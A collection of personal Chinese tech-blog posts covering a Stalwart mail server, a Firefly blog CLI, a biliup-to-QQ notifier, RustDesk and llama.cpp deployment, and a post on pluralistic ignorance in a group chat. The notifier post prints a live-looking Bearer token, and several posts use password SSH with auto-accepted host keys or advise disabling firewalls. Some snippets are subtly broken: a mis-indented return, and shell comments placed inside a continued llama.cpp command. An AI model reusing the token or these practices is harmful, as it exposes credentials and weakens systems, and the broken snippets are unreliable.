`stageDD.py`	HTTP-01 webroot 模式尝试（失败：端口 80 不可达）
`stageEE.py`	TLS-ALPN-01 standalone 尝试（失败：acme.sh bug）
`stageFF.py`	停 nginx + standalone —alpn 尝试（失败：acme.sh 仍走 HTTP-01）
`stageGG.py`	certbot TLS-ALPN-01 尝试（失败：certbot 不支持）
`stageHH.py`	DNS 诊断 + DNS-01 手动模式尝试
`stageII.py`	修复 nginx + 检查 DNS 插件 + 验证 TXT 记录
`stageJJ.py`	修复 nginx + 重新签发 DNS-01 获取 TXT 值
`stageKK.py`	清理遗留 python3 进程 + 恢复 nginx
`stageLL.py`	验证 DNS TXT 传播 + 完成证书签发
`stageMM.py`	多 DNS 解析器检查 TXT 记录
`stageNN.py`	获取最终 TXT 值 + 检查 DNS 配置
`stageOO.py`	DNS-01 验证 + 证书签发（成功）
`stagePP.py`	上传证书到 Stalwart（EC 密钥格式问题）
`stageQQ.py`	上传 PKCS#8 密钥证书 + 重启 Stalwart + 验证（成功）

收信诊断阶段#

脚本	功能
`diag_recv.py`	DNS/MX/A/SPF/DMARC/DKIM 诊断 + 端口 25 可达性
`diag_recv2.py`	检查 Inbox/Junk 邮件数 + SMTP 会话诊断
`diag_recv3.py`	检查 Junk 文件夹内容 + 诊断 spam 判定原因
`diag_recv4.py`	获取 QQ 邮件 spam 分析头 + 移至 Inbox
`diag_recv5.py`	获取完整 spam 头 + 找 Stalwart spam 配置
`diag_recv6.py`	查找 Stalwart spam 过滤器配置方法
`diag_recv7.py`	搜索 Stalwart spam 配置方式（文档）

修复阶段#

脚本	功能
`fix_spam.py`	修改 SpamSettings 阈值 5.0→15.0 + 发测试邮件验证
`verify_fix.py`	重启 Stalwart + 发测试邮件 + 验证邮件进 Inbox（成功）

脚本通用模板#

所有脚本共享相同结构：

1
import paramiko, json, io, time
2

3
client = paramiko.SSHClient()
4
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
5
client.connect('<SERVER_IP>', username='<SSH_USER>', password='PASSWORD', timeout=15)
6
auth = "admin@example.com:PASSWORD"
7

8
def sh(cmd, timeout=30):
9
    """执行 SSH 命令"""
10
    stdin, stdout, stderr = client.exec_command(cmd, timeout=timeout)
11
    out = stdout.read().decode(errors='replace').rstrip()
12
    err = stderr.read().decode(errors='replace').rstrip()
13
    return out + (f"\n[stderr] {err}" if err else "")
14

15
def jmap(payload):
16
    """调用 JMAP API"""
17
    sftp = client.open_sftp()
18
    sftp.putfo(io.BytesIO(json.dumps(payload).encode()), '/tmp/c.json')
19
    sftp.close()
20
    return sh(f"curl -s -u '{auth}' -X POST http://127.0.0.1:8088/jmap "
21
             f"-H 'Content-Type: application/json' -d @/tmp/c.json")

展开收起

附录：docker-compose.yml 完整内容#

1
services:
2
  stalwart:
3
    image: stalwartlabs/stalwart:v0.16.19
4
    container_name: stalwart
5
    hostname: mail.example.com
6
    restart: unless-stopped
7
    ports:
8
      - "25:25"      # SMTP — 接收外部邮件
9
      - "143:143"    # IMAP — STARTTLS
10
      - "465:465"    # SMTPS — 隐式 TLS，客户端发信
11
      - "587:587"    # SMTP submission — STARTTLS
12
      - "993:993"    # IMAPS — 隐式 TLS，客户端收信
13
      - "8088:8080"  # Web 管理后台 + JMAP
14
      - "443:443"    # HTTPS
15
    volumes:
16
      - ./data:/opt/stalwart-mail
17
    environment:
18
      - STALWART_HOSTNAME=mail.example.com

展开收起

附录：nginx ACME 反代配置（可选，用于 HTTP-01 验证）#

如果端口 80 外网可达，可配置 nginx 反代 ACME 验证到 Stalwart：

/etc/nginx/conf.d/acme-stalwart.inc

1
location /.well-known/acme-challenge/ {
2
    proxy_pass http://127.0.0.1:8088;
3
}

在 nginx 主配置中 include：

/etc/nginx/conf.d/stalwart.conf

1
server {
2
    listen 80;
3
    server_name mail.example.com;
4
    include /etc/nginx/conf.d/acme-stalwart.inc;
5
}

配置说明
当前环境端口 80 外网不可达，此配置无法用于自动验证，仅作参考。

附录：环境清单#

项目	值
服务器 IP	<SERVER_IP>
SSH	<SSH_USER> /
公网 IP	<PUBLIC_IP>（动态，路由器 DDNS 自动更新）
域名	example.com
邮件主机名	mail.example.com
DNS 托管	腾讯云 EdgeOne
Stalwart 版本	v0.16.19 (Docker)
acme.sh 版本	3.1.5
证书 CA	Let’s Encrypt (YE1)
证书有效期	2026-08-25 → 2026-11-23
Spam 阈值	15.0 (默认 5.0)
证书模式	Manual (手动上传)
JMAP 端点	http://127.0.0.1:8088/jmap
JMAP 认证	HTTP Basic, admin@example.com
Domain JMAP id	”b” (name=example.com)
Mailbox: Inbox	”a”
Mailbox: Junk	”c”

多元无知：为什么大家只记住了 3W8

Sat, 22 Aug 2026 01:29:17 GMT

今天在群里做了个小小的“实验”。

我：工作地点太远，单双休，工资不高，瞬间不想去了。

群友 A： 你的底气是什么？

我：我的底气是可以当场去表演空中飞人，以及还有 3W8 的存款。

群友们： 羡慕 3W8。

我盯着屏幕愣了一下：前半句明明是个极度消极、甚至带着自毁意味的信号，怎么没人接？大家的第一反应，清一色落在了那串具体数字上。

后来我才知道，这背后有个专门的词：多元无知（pluralistic ignorance）。

什么是多元无知#

简单说，就是“每个人都觉得不对劲，但看别人都若无其事，于是误以为只有自己觉得不对劲，于是也装作若无其事”的集体错觉。

它最经典的出处，是心理学里的旁观者干预模型（Latané & Darley）：在模糊、暧昧的情境里，人会自动去看别人的反应来判断“这到底是不是紧急情况”。如果周围人都很平静，你就会得出结论——“既然大家都不急，那应该不是什么大事”。

我的群聊恰恰就是这种情境：那句话到底是求救还是玩梗，本身是模糊的；而第一个人用“羡慕 3W8”把它接成了一个玩笑，于是后面所有人顺着这个信号，集体判定“这是个梗，不用当真”。

为什么是 3W8，而不是“空中飞人”#

回到我的实验。为什么大家只记住了存款？

第一，钱是可量化、可比较、能共情的真实痛点。 “想轻生”是抽象而沉重的，但“有 3 万 8 可支配现金”是具体数字，瞬间触发每个人的钱包状况。在普遍存款焦虑的环境里，有 3 万 8 本身就是一种让人眼红的稀缺状态。比起接住那个沉重的梗，聊钱更轻松、更安全、也更能产生共鸣。

第二，“羡慕”是一种防御性幽默（displacement）。 直面“他是不是真的想不开”会让群聊瞬间凝固，没人知道怎么接。于是大家用一个安全的替代情绪——羡慕存款——来消化这句话的张力。这不是冷漠，而是群聊里典型的“用玩笑消解沉重”。

第三，这类表达早已被高度梗化、戏谑化。 “空中飞人”“想开了”在中文互联网上刷得太久，很多人已经分不清对方是求救还是玩梗，默认按玩梗处理最省力。于是那 3 万 8 反而成了唯一“像真话”的信息锚点。

第四，群体极化下的从众解读。 第一个人回“羡慕 3W8”，后面就顺着同一种语气接，没人愿意当那个突然严肃说“你没事吧”的扫兴者。破冰式玩笑一旦形成，沉默的大多数会选择加入而非打断。

一点反思#

这个实验让我意识到：如果一个人真的处在低谷，用半真半假的梗发出信号，最容易得到的回应，恰恰是“羡慕 3W8”这种看似热闹、实则错位的反馈。

它不代表朋友不在乎，而是群聊这种媒介，天然接不住真实的脆弱。

多元无知的可怕之处就在于——每个人都隐约觉得不对劲，却没有一个人把那句“你没事吧”说出口。

所以如果你哪天在群里看见有人说了类似的话，不妨多停一秒：也许他的前半句，是真的想被听见。

给博客写个本地管理 CLI

Tue, 28 Jul 2026 14:11:20 GMT

一个零依赖的小工具，让你在本地舒服地写文章 / 发动态 / 管友链，一条命令同步到服务器并重建发布。

如果你也用 Firefly（一个基于 Astro 的精美静态博客主题），可能会遇到和我一样的困扰,又不想做后台，但是又想改点内容：进服务器改点内容太麻烦了。

这篇就聊聊我怎么用一个不到 400 行的 Python 脚本把这件事变简单的，以及部署 Firefly 时踩过的几个坑。

一、背景：静态博客的”改个东西好麻烦”#

Firefly 是 Astro 静态站点，内容（文章、动态、友链）都是在构建时生成进静态文件的。这意味着：

它没有后台管理界面，想加一篇文章，得改 src/content/posts/ 里的 .md 源文件；
改完必须重新构建 Docker 镜像（docker compose build），否则网站上看不到；
友链更麻烦——它不是单独文件，而是写死在 src/config/friendsConfig.ts 的 TypeScript 数组里。

于是日常变成这样：在服务器上 vim 改文件 → 跑构建 → 等几分钟 → 验证。割裂感很强，写作体验也差。

我想要的是：在自己电脑上用顺手的编辑器写，写完一条命令推上去，可选自动重建。

二、这个工具能做什么#

blogmgr 是一个纯 Python、零依赖（只用标准库）的命令行工具，覆盖 Firefly 三种内容的管理：

内容类型	存储位置	工具怎么管
文章 posts	`src/content/posts/*.md`	一个 `.md` = 一篇文章，自动生成 frontmatter
动态 dynamic	`src/content/dynamic/*.md`	一个 `.md` = 一条动态，只需 `published` 时间
友链 friends	`src/config/friendsConfig.ts` 数组	本地一个 `.json` = 一条友链，推送时智能替换数组

核心能力：

本地写作：add 建好带 title/published 的空文章，edit 自动用记事本打开写正文。
一键同步：通过 SMB 网络共享把文件推到服务器（只增 / 改，不删）。
可选重建：rebuild 子命令可在服务器上跑 docker compose build && up -d（检测到 plink 时全自动）。
安全备份：改友链前会把原文件备份到本地 _backups/，绝不在服务器留临时文件。
交互模式：不带参数运行时进入持续可用的命令行（REPL），直接敲 add "标题"、sync、exit 即可连续操作，不必每次重复敲命令前缀。

三、特性#

零依赖：只用 Python 标准库，不用 pip install 任何东西，下载即用。
跨平台：Windows / macOS / Linux 都能跑（SMB 在三者都通用）。
本地真源：友链以本地 JSON 为真源，推送时只替换 TS 数组，完整保留文件里的其它逻辑（friendsPageConfig、getEnabledFriends 函数等）。
防呆设计：--dry-run 演练模式、覆盖前自动备份、按权重自动排序。

四、安装#

环境要求：

Python 3.8 或以上（命令行能跑 python 或 python3）。
能访问博客项目的网络共享（如 \\<服务器IP>\opt\Firefly-master），也就是你服务器上挂载的那个目录。

把脚本和配置放进一个目录即可，blogmgr.py 是主程序，blogmgr.json 是配置：

1
{
2
  "local_posts": "你的本地文章目录",
3
  "remote_posts": "\\\\<服务器IP>\\opt\\Firefly-master\\src\\content\\posts",
4
  "local_dynamics": "你的本地动态目录",
5
  "remote_dynamics": "\\\\<服务器IP>\\opt\\Firefly-master\\src\\content\\dynamic",
6
  "local_friends": "你的本地友链目录",
7
  "remote_friends_file": "\\\\<服务器IP>\\opt\\Firefly-master\\src\\config\\friendsConfig.ts",
8
  "ssh_host": "<服务器IP>",
9
  "ssh_user": "<用户名>",
10
  "ssh_pass": "<密码>"
11
}

五、快速开始#

Terminal window展开收起

1
cd 工具目录
2
python blogmgr.py init          # 首次：建好本地目录
3

4
# 发一篇文章
5
python blogmgr.py add "我的第一篇文章" -d "简介" -t "技术,随笔"
6
python blogmgr.py edit "我的第一篇文章"   # 记事本打开写正文
7
python blogmgr.py sync                     # 推到服务器
8

9
# 发一条动态
10
python blogmgr.py dyn-add "今天天气不错"
11

12
# 加一条友链（首次先 pull 把现有友链拉下来）
13
python blogmgr.py friend-pull
14
python blogmgr.py friend-add "朋友博客" -u "https://example.com" -i "https://example.com/avatar.png" -d "描述" -w 5
15
python blogmgr.py friend-sync
16

17
# 让改动生效（重建镜像）
18
python blogmgr.py rebuild

展开收起

六、命令一览#

文章

1
add / list / show / edit / delete / status / sync / pull

动态

1
dyn-add / dyn-list / dyn-show / dyn-edit / dyn-delete / dyn-status / dyn-sync / dyn-pull

友链

1
friend-pull / friend-add / friend-list / friend-edit / friend-delete / friend-status / friend-sync

通用

1
init / rebuild

每条命令都支持 -h 看帮助。sync / pull 及其动态版都带 --dry-run 可先演练；pull 类命令是从服务器 SMB 共享把内容拉回本地（同名同内容跳过、不同则覆盖、本地独有文件保留），适合换电脑或重新初始化时把线上内容搬下来。

七、友链是怎么被管理的（技术细节）#

这是工具里最”巧妙”也最容易出错的部分。友链不是文件，而是 friendsConfig.ts 里的一个数组：

1
export const friendsConfig: FriendLink[] = [
2
  { title: "..." , imgurl: "...", /* ... */ },
3
  // ...
4
];
5

6
// 获取启用的友链并进行排序
7
export const getEnabledFriends = (): FriendLink[] => { /* ... */ };

如果直接整文件覆盖，会丢掉 friendsPageConfig 和 getEnabledFriends 这些不能动的逻辑。所以工具的做法是：

用正则 friendsConfig:\s*FriendLink\[\]\s*=\s*\[ 精确定位数组起点（注意 FriendLink[] 自带方括号，不能简单匹配第一个 [）；
只替换数组体，保留 head（数组声明行）和 tail（从 ]; 到文件末尾）；
本地每个友链一个 .json，推送时按 weight 降序排好，拼回数组。

核心代码就这么几段（全部来自标准库，无需第三方包）：

1
import re, json
2

3
def _find_array_span(text):
4
    """精确定位 friendsConfig 数组的起止下标，跳过 FriendLink[] 自带的方括号"""
5
    m = re.search(r'friendsConfig:\s*FriendLink\[\]\s*=\s*\[', text)
6
    if not m:
7
        return None
8
    b = m.end() - 1          # '[' 的下标
9
    depth = 0
10
    for k in range(b, len(text)):
11
        if text[k] == "[":
12
            depth += 1
13
        elif text[k] == "]":
14
            depth -= 1
15
            if depth == 0:
16
            return b, k
17
    return None
18

19
def split_objects(body):
20
    """按 {} 匹配切分对象块，字符串内的括号一律忽略"""
21
    objs, depth, start, in_str, esc = [], 0, None, False, False
22
    for i, c in enumerate(body):
23
        if in_str:
24
            if esc: esc = False
25
            elif c == "\\": esc = True
26
            elif c == '"': in_str = False
27
            continue
28
        if c == '"':
29
            in_str = True
30
        elif c == "{":
31
            if depth == 0:
32
                start = i
33
            depth += 1
34
        elif c == "}":
35
            depth -= 1
36
            if depth == 0 and start is not None:
37
                objs.append(body[start:i + 1])
38
                start = None
39
    return objs
40

41
def build_friends_ts(friends):
42
    """把本地友链 JSON 拼回 TS 对象数组，按 weight 降序已在外层排好"""
43
    blocks = []
44
    for d in friends:
45
        tags = "[" + ", ".join(f'"{t}"' for t in d.get("tags", [])) + "]"
46
        block = (
47
            "\t{\n"
48
            f"\t\ttitle: \"{d['title']}\",\n"
49
            f"\t\timgurl: \"{d.get('imgurl', '')}\",\n"
50
            f"\t\tdesc: \"{d.get('desc', '')}\",\n"
51
            f"\t\tsiteurl: \"{d.get('siteurl', '')}\",\n"
52
            f"\t\ttags: {tags},\n"
53
            f"\t\tweight: {d.get('weight', 5)},\n"
54
            f"\t\tenabled: {str(d.get('enabled', True)).lower()},\n"
55
            "\t},"
56
        )
57
        blocks.append(block)
58
    return "\n".join(blocks)

展开收起

推送时先 split_objects 解析服务器现有数组、合并本地改动，再用 build_friends_ts 重新生成数组体，最后只替换 head 与 tail 之间的部分——文件里 friendsPageConfig、getEnabledFriends 等函数和类型声明原封不动。

上面这几段是原理摘录，不能单独保存运行。完整可运行的工具就是一个文件 blogmgr.py（约 400 行，纯标准库），把它连同 blogmgr.json（首次运行会自动生成）放在同一目录即可使用，上面这些函数都已包含在内。

八、部署 Firefly 踩过的坑（也是你会遇到的）#

写这个工具的过程中，我把 Firefly 在普通服务器上部署的坑基本踩了一遍，记录在这里，省得你重蹈覆辙：

1. Docker 权限#

非 root 用户跑 docker 报 permission denied —— 把用户加进 docker 组：sudo usermod -aG docker <用户名>，重登生效。

2. 字体 CDN 超时（构建失败）#

Astro 的字体优化默认从 cdn.jsdelivr.net（fontsource）拉字体，国内服务器经常连不上 → 构建 CannotFetchFontFile 失败。解法：把 src/config/fontConfig.ts 里的 enable 改成 false（代价是改用系统字体，外观略有变化）。

3. 图片路径大小写#

文章里引用图片要写 images/xxx.png（复数），写成 image/（单数）会 ImageNotFound 构建失败。这是个手滑就踩的坑。

4. `docker-compose` v1 vs v2#

老版本 docker-compose（连字符，v1）对新镜像元数据会报 KeyError: 'ContainerConfig'。一律用 docker compose（空格，v2）。

5. `.bak` 备份被当源码编译（最阴险）#

最初我把友链备份写成服务器上的 friendsConfig.ts.bak。结果 Astro 构建时把 .bak 也当源码扫描，.bak 被 JS 解析器编译，import type 在 JS 里非法 → PARSE_ERROR。解法：备份一律放到项目目录之外（本地 _backups/）。教训：任何写进 Astro 源目录的辅助文件都会被构建扫描，别留 .bak/.tmp/.old。

biliup → AstrBot(QQ) 录播完成通知修复

Mon, 20 Jul 2026 13:11:20 GMT

1. 原本设想的链路#

1
biliup 录制 → 上传 B 站 → 后处理(notify) → push_lite(:9966) → AstrBot → QQ 群

biliup：ghcr.io/biliup/caution（录+传一体），配置在 WebUI，落库到 sqlite data.sqlite3
push_lite：AstrBot 插件 astrbot_plugin_push_lite v0.2.2，监听 0.0.0.0:9966
- 路由 POST /send，Body 需 content + umo，Header Authorization: Bearer <token>
AstrBot：soulter/AstrBot v4.26.7，QQ 后端走 NapCat（aiocqhttp 适配器，platform_id = ai）

2. 为什么一直「没收到 webhook」（两个独立根因）#

根因 A：biliup 的 `run` 后处理根本不执行#

biliup-cli 1.2.1 的「后置任务(run)」并不会在上传完成后去调用外部脚本。

证据：

每天的实际上传日志里只有 mv 步骤，从没出现 run；
push_lite 在真实上传时间点（如 02<24>）完全没有任何请求记录；
也就是说 notify.py 从头到尾没被调用过 → 自然一条通知都发不出。

结论： 依赖 biliup 后处理去触发通知这条路，从根上就走不通，必须绕开。

根因 B：`umo` 会话格式写错，即使触发也会被 AstrBot 拒绝#

最开始写的 umo 是 group_485476610，AstrBot 侧直接报错：

写的格式	AstrBot 报错
`group_485476610`	`not enough values to unpack (expected 3, got 1)`
`ai:group:485476610`	`'group' is not a valid MessageType`

查 AstrBot 源码 message_type.py 确认：会话标识是三段式

1
platform_id : message_type_value : session_id

中间段必须是 MessageType 枚举的「值」，首字母大写：GroupMessage / FriendMessage
QQ 适配器的 platform_id 是 ai

正确写法：ai:GroupMessage:485476610（这一步即便根因 A 修好，格式错也照样发不出去）。

3. 最终修复方案（绕过后处理，改用目录监听）#

放弃 biliup 后处理，改为监听备份目录的脚本：

项目	内容
脚本路径	`/opt/notify/watch_backup.py`（zero 用户运行）
保活	zero 的 crontab 每分钟拉起；`flock` 单实例锁防多开
监听目录	`/opt/biliup/backup`（biliup 的 `mv` 后处理把录播移到这里）
轮询周期	每 30 秒扫一次
触发条件	发现新媒体文件，且文件修改时间稳定 ≥ 5 秒
媒体扩展名	`.flv .mp4 .mkv .ts .mov .avi .m4v .mp3 .m4a .m4s`（其余如 `.log` 会被过滤，避免误推）
推送目标	`POST http://127.0.0.1:9966/send`
认证	`Authorization: Bearer cUoGKubE8IJvNu8nMwpK_Z1K-TbcvfurPzug10UWak0`
Body	`{"content":"录播已上传完成\n文件：<文件名>","umo":"ai:GroupMessage:485476610"}`
去重	已通知的文件名写入 `/opt/notify/watched_state.json`；仅当 HTTP 200 成功才记录 → 失败自动重试，不漏不重

配套修正：

biliup 的 postprocessor 已用 sudo 还原为 [{"mv":"/opt/backup"}]（去掉 run，避免将来双通知）；
脚本加了 MEDIA 扩展名过滤，修掉了早期版本把 download.log 当媒体推送的 bug。

脚本核心逻辑（节选）：

1
st = notify(key)
2
if st == 200:                      # 只有成功才记 state
3
    state[key] = int(now)
4
    save_state(state)
5
    print("notified:", key)
6
# 失败则不记录 → 下一轮轮询会重试

4. 已验证可用的证据（2026-07-20 诊断）#

✅ watcher 进程存活（PID 3409022，父进程 1，STAT S = 正常 30s 轮询中睡觉，CPU 时间 0 属正常，不是卡死）；
✅ curl 用脚本同款 payload 直发 push_lite → HTTP 200；端口 9966 监听 0.0.0.0；
✅ watch.log 已显示两个真实录制被 notified:：
- 【2026-07-19】咪茉Mimo直播回放.flv
- 【2026-07-20】咪茉Mimo直播回放.flv → 生产链路已经实际工作过。

关于「TEST_NOTIFY.flv 没触发」的假阴性说明#

早前在排查时放过一个 TEST_NOTIFY.flv 测试文件，但它没被通知。这不是逻辑 bug，而是假阴性：

测试文件没有在「watcher 正常运行期间」持续留在 /opt/biliup/backup 里（要么放的时候 watcher 被重启/杀掉，要么文件太新未过 5s 稳定期就被清理/挪走）；
当前 state 文件里也没有 TEST_NOTIFY.flv 这条记录，说明它从没被成功扫到过。

换句话说：真实录播文件能被正常通知（见上方 ✅ 证据），测试文件只是没赶上好时机。

5. 手动端到端验证（确认 QQ 群真能收到）#

Terminal window

1
# 1) 直接在 backup 目录生成测试文件（不经过 /tmp）
2
echo test | sudo tee /opt/biliup/backup/TEST_NOTIFY.flv > /dev/null
3

4
# 2) 盯日志，等 ~40 秒（30s 轮询 + 5s 稳定判定）
5
tail -f /opt/notify/watch.log
6
#   应出现：notified: TEST_NOTIFY.flv
7
#   同时 QQ 群 485476610 收到「录播已上传完成 / 文件：TEST_NOTIFY.flv」
8

9
# 3) 确认后清理（state 里的记录无害，不会重复推送）
10
sudo rm -f /opt/biliup/backup/TEST_NOTIFY.flv

注意第 2 步要真等够 ~40 秒，前 30 多秒没反应是正常的。

若等满 40 秒仍无 notified:，把 tail -f 的输出贴回来，再看是否 watcher 被 cron 重启打断（sudo pkill -f watch_backup.py 后让它重新拉起即可）。

6. 监听脚本完整代码#

密钥全部走环境变量，不要把 token 写死进仓库。服务器实际部署版只是把下列变量硬编码成了真实值，逻辑完全一致。

1
#!/usr/bin/env python3
2
"""
3
watch_backup.py — 录播备份目录监听通知
4

5
当 biliup 等录制工具把完成的媒体文件 mv 到监控目录后，
6
本脚本会检测新文件（稳定 N 秒后）并推送到 AstrBot 的 push_lite 插件，
7
进而发到指定 QQ 群 / 私聊。
8

9
配置全部通过环境变量注入（不要把 token 写死进仓库）：
10
  PUSH_LITE_URL    推送地址，默认 http://127.0.0.1:9966/send
11
  PUSH_LITE_TOKEN  push_lite 的 Bearer token（必填）
12
  PUSH_LITE_UMO    目标会话，如 ai:GroupMessage:123456
13
  WATCH_DIR        监控目录，如 /opt/biliup/backup
14
  STATE_FILE       去重状态文件，默认 <脚本目录>/watched_state.json
15
  LOCK_FILE        单实例锁文件，默认 <脚本目录>/watch.lock
16
  POLL             轮询间隔秒，默认 30
17
  STABLE_SECS      文件需稳定多少秒才认为写完，默认 5
18

19
依赖：仅 Python 3 标准库，无需 pip install。
20
"""
21
import os
22
import sys
23
import json
24
import time
25
import glob
26
import fcntl
27
import urllib.request
28

29
URL = os.environ.get("PUSH_LITE_URL", "http://127.0.0.1:9966/send")
30
TOKEN = os.environ.get("PUSH_LITE_TOKEN", "")
31
UMO = os.environ.get("PUSH_LITE_UMO", "ai:GroupMessage:000000")
32
WATCH_DIR = os.environ.get("WATCH_DIR", "/opt/biliup/backup")
33
_HERE = os.path.dirname(os.path.abspath(__file__))
34
STATE = os.environ.get("STATE_FILE", os.path.join(_HERE, "watched_state.json"))
35
LOCK = os.environ.get("LOCK_FILE", os.path.join(_HERE, "watch.lock"))
36
POLL = int(os.environ.get("POLL", "30"))
37
STABLE_SECS = int(os.environ.get("STABLE_SECS", "5"))
38

39
# 只推送这些媒体扩展名，避免把 download.log 之类当媒体误推
40
MEDIA = {".flv", ".mp4", ".mkv", ".ts", ".mov", ".avi", ".m4v",
41
         ".mp3", ".m4a", ".m4s"}
42

43
_lf = open(LOCK, "w")
44
try:
45
    fcntl.flock(_lf, fcntl.LOCK_EX | fcntl.LOCK_NB)
46
except OSError:
47
    print("another instance running, exit", flush=True)
48
    sys.exit(0)
49

50

51
def load_state():
52
    try:
53
        return json.load(open(STATE))
54
    except Exception:
55
        return {}
56

57

58
def save_state(s):
59
    tmp = STATE + ".tmp"
60
    json.dump(s, open(tmp, "w"), ensure_ascii=False)
61
    os.replace(tmp, STATE)
62

63

64
def notify(fname):
65
    content = "录播已上传完成\n文件：" + fname
66
    payload = json.dumps({"content": content, "umo": UMO}).encode("utf-8")
67
    req = urllib.request.Request(URL, data=payload, method="POST")
68
    req.add_header("Content-Type", "application/json")
69
    req.add_header("Authorization", "Bearer " + TOKEN)
70
    try:
71
        with urllib.request.urlopen(req, timeout=15) as r:
72
            return r.status
73
    except Exception as e:
74
        print("notify failed:", e, flush=True)
75
        return None
76

77

78
def main():
79
    state = load_state()
80
    print("watcher started, watch_dir=%s" % WATCH_DIR, flush=True)
81
    while True:
82
        try:
83
            files = [f for f in glob.glob(os.path.join(WATCH_DIR, "*"))
84
                     if os.path.isfile(f)]
85
            now = time.time()
86
            for f in files:
87
                if os.path.splitext(f)[1].lower() not in MEDIA:
88
                    continue
89
                if now - os.path.getmtime(f) < STABLE_SECS:
90
                    continue
91
                key = os.path.basename(f)
92
                if key in state:
93
                    continue
94
                st = notify(key)
95
                if st == 200:
96
                    state[key] = int(now)
97
                    save_state(state)
98
                    print("notified:", key, flush=True)
99
        except Exception as e:
100
            print("loop err:", e, flush=True)
101
        time.sleep(POLL)
102

103

104
if __name__ == "__main__":
105
    main()

展开收起

跑法示例：

Terminal window

1
export PUSH_LITE_URL="http://127.0.0.1:9966/send"
2
export PUSH_LITE_TOKEN="你的push_lite_token"
3
export PUSH_LITE_UMO="ai:GroupMessage:485476610"
4
export WATCH_DIR="/opt/biliup/backup"
5
python3 watch_backup.py

cron 保活（零依赖用户级）：

Terminal window

1
* * * * * pgrep -f /opt/notify/watch_backup.py > /dev/null || (PUSH_LITE_TOKEN=xxx PUSH_LITE_UMO=ai:GroupMessage:485476610 python3 /opt/notify/watch_backup.py >> /opt/notify/watch.log 2>&1 &)

附：关键常量速查#

1
服务器 IP      : 192.168.7.102
2
push_lite 端口 : 9966 (0.0.0.0)
3
token          : cUoGKubE8IJvNu8nMwpK_Z1K-TbcvfurPzug10UWak0
4
目标群 umo     : ai:GroupMessage:485476610
5
监听脚本       : /opt/notify/watch_backup.py
6
监听目录       : /opt/biliup/backup
7
状态文件       : /opt/notify/watched_state.json
8
日志           : /opt/notify/watch.log

Rustdesk服务部署

Thu, 16 Jul 2026 22:33:37 GMT

欢迎使用 Rustdesk 服务说明#

Terminal window

1
#查看hbbs服务日志
2
sudo docker logs hbbs
3
#查看hbbsr服务日志
4
sudo docker logs hbbr
5
#查看密钥
6
cat /opt/Rustdesk/*.pub

部署文件（已经装好docker、docker-compose）#

创建部署文件docker-compose.yml

Terminal window

1
#创建文件夹
2
mkdir /opt/Rustdesk/ && cd /opt/Rustdesk/
3
#创建部署文件
4
touch docker-compose.yml
5
#编辑文件
6
nano docker-compose.yml

根据自身需求修改填写下面的配置信息后保存

Terminal window展开收起

1
version: "3.8"
2
services:
3
  hbbs:
4
    image: rustdesk/rustdesk-server:latest
5
    container_name: hbbs
6
    command: hbbs -r 服务器IP:21117
7
    volumes:
8
      - /opt/Rustdesk:/root
9
    network_mode: host
10
    restart: unless-stopped
11
    deploy:
12
      resources:
13
        limits:
14
          cpus: '3'
15
          memory: 4G
16
    logging:
17
      driver: "json-file"
18
      options:
19
        max-size: "30m"
20
        max-file: "4"
21

22
  hbbr:
23
    image: rustdesk/rustdesk-server:latest
24
    container_name: hbbr
25
    command: hbbr
26
    volumes:
27
      - /opt/Rustdesk:/root
28
    network_mode: host
29
    restart: unless-stopped
30
    deploy:
31
      resources:
32
        limits:
33
          cpus: '4'
34
          memory: 20G
35
    logging:
36
      driver: "json-file"
37
      options:
38
        max-size: "30m"
39
        max-file: "4"

展开收起

部署启动#

1
#进入部署文件
2
cd /opt/Rustdesk
3
#部署启动
4
sudo docker-compose up -d

本地化Ai大模型Agent部署

Thu, 12 Mar 2026 20:03:37 GMT

前置条件#

安装docker
安装docker-compose
安装cuda
设备为Jetson AGX Thor

安装编译依赖#

Terminal window

1
# 安装依赖
2
sudo apt update && sudo apt install -y build-essential git libopenblas-dev

拉取 llama.cpp 源码（国内加速克隆）#

Terminal window

1
# 加速克隆源码
2
git clone https://ghproxy.com/https://github.com/ggml-org/llama.cpp.git
3
# 进入项目目录
4
cd llama.cpp

编译 llama.cpp#

Terminal window

1
# 编译
2
make clean && CUDA=1 make -j$(nproc)

下载模型#

量化版本选择
- Q4_K_P：显存占用低，适合小显存设备
- Q8_K_P：输出精度更高，显存占用更大
- 多模态模型额外下载配套 mmproj 视觉文件
HuggingFace 镜像替换规则原地址：https://huggingface.co/xxx/模型仓库名 加速地址：https://hf-mirror.com/xxx/模型仓库名
将下载完成的 .gguf 模型放入项目内 models/ 文件夹，统一路径避免读取报错

测试推理（验证编译与模型可用）#

Terminal window

1
# 测试推理
2
./main \
3
  -m models/你的模型.gguf \
4
  #`--flash-attn`：注意力计算加速，降低显存占用
5
  --flash-attn \
6
  # `--mlock`：锁定内存，防止系统交换分区卡顿
7
  --mlock \
8
  # `--np`：并行推理线程数，默认1
9
  -np $(nproc) \
10
  # `--c`：上下文长度，默认8192
11
  -c 8192

配置 systemd 常驻后台服务（开机自启、崩溃自动重启）#

1
[Unit]
2
Description=Llama.cpp Local LLM Service
3
After=network.target
4

5
[Service]
6
User=你的用户名
7
WorkingDirectory=/home/你的用户名/llama.cpp
8
ExecStart=/home/你的用户名/llama.cpp/server -m models/你的模型.gguf --flash-attn --mlock -c 8192
9
Restart=always
10
RestartSec=5
11

12
[Install]
13
WantedBy=multi-user.target

执行以下命令加载并启动服务：#

Terminal window

1
# 重载系统服务配置
2
sudo systemctl daemon-reload
3
# 设置开机自启
4
sudo systemctl enable llama
5
# 启动llama推理服务
6
sudo systemctl start llama
7
# 实时查看运行日志
8
journalctl -u llama -f

部署AstrBot#

Terminal window

1
mkdir astrbot && cd astrbot
2
sudo docker run -itd -p 6185:6185 -p 6199:6199 -v $PWD/data:/AstrBot/data -v /etc/localtime:/etc/localtime:ro -v /etc/timezone:/etc/timezone:ro --name astrbot m.daocloud.io/docker.io/soulter/astrbot:latest

自动发送本机IP和MAC脚本

Wed, 08 Oct 2025 17:10:05 GMT

前言#

学校资产乱，为了更好的登记，因此利用AI写了个脚本，也在这边分享开源

使用说明#

客户端运行后，根据提示输入服务端的ip和端口号
服务端使用前请先安装好python
客户端和服务端使用之前最好把防火墙停用
客户端最好把WMIC先安装好，虽然脚本已经有安装脚步，但是也是建议先安装好WMIC
收集到的信息会在当前目录下的received_device_info文件夹下

服务端#

1
import http.server
2
import socketserver
3
import os
4
import datetime
5

6
# 设置服务器端口
7
PORT = 5400
8

9
# 创建接收文件夹
10
RECEIVE_FOLDER = "received_device_info"
11
if not os.path.exists(RECEIVE_FOLDER):
12
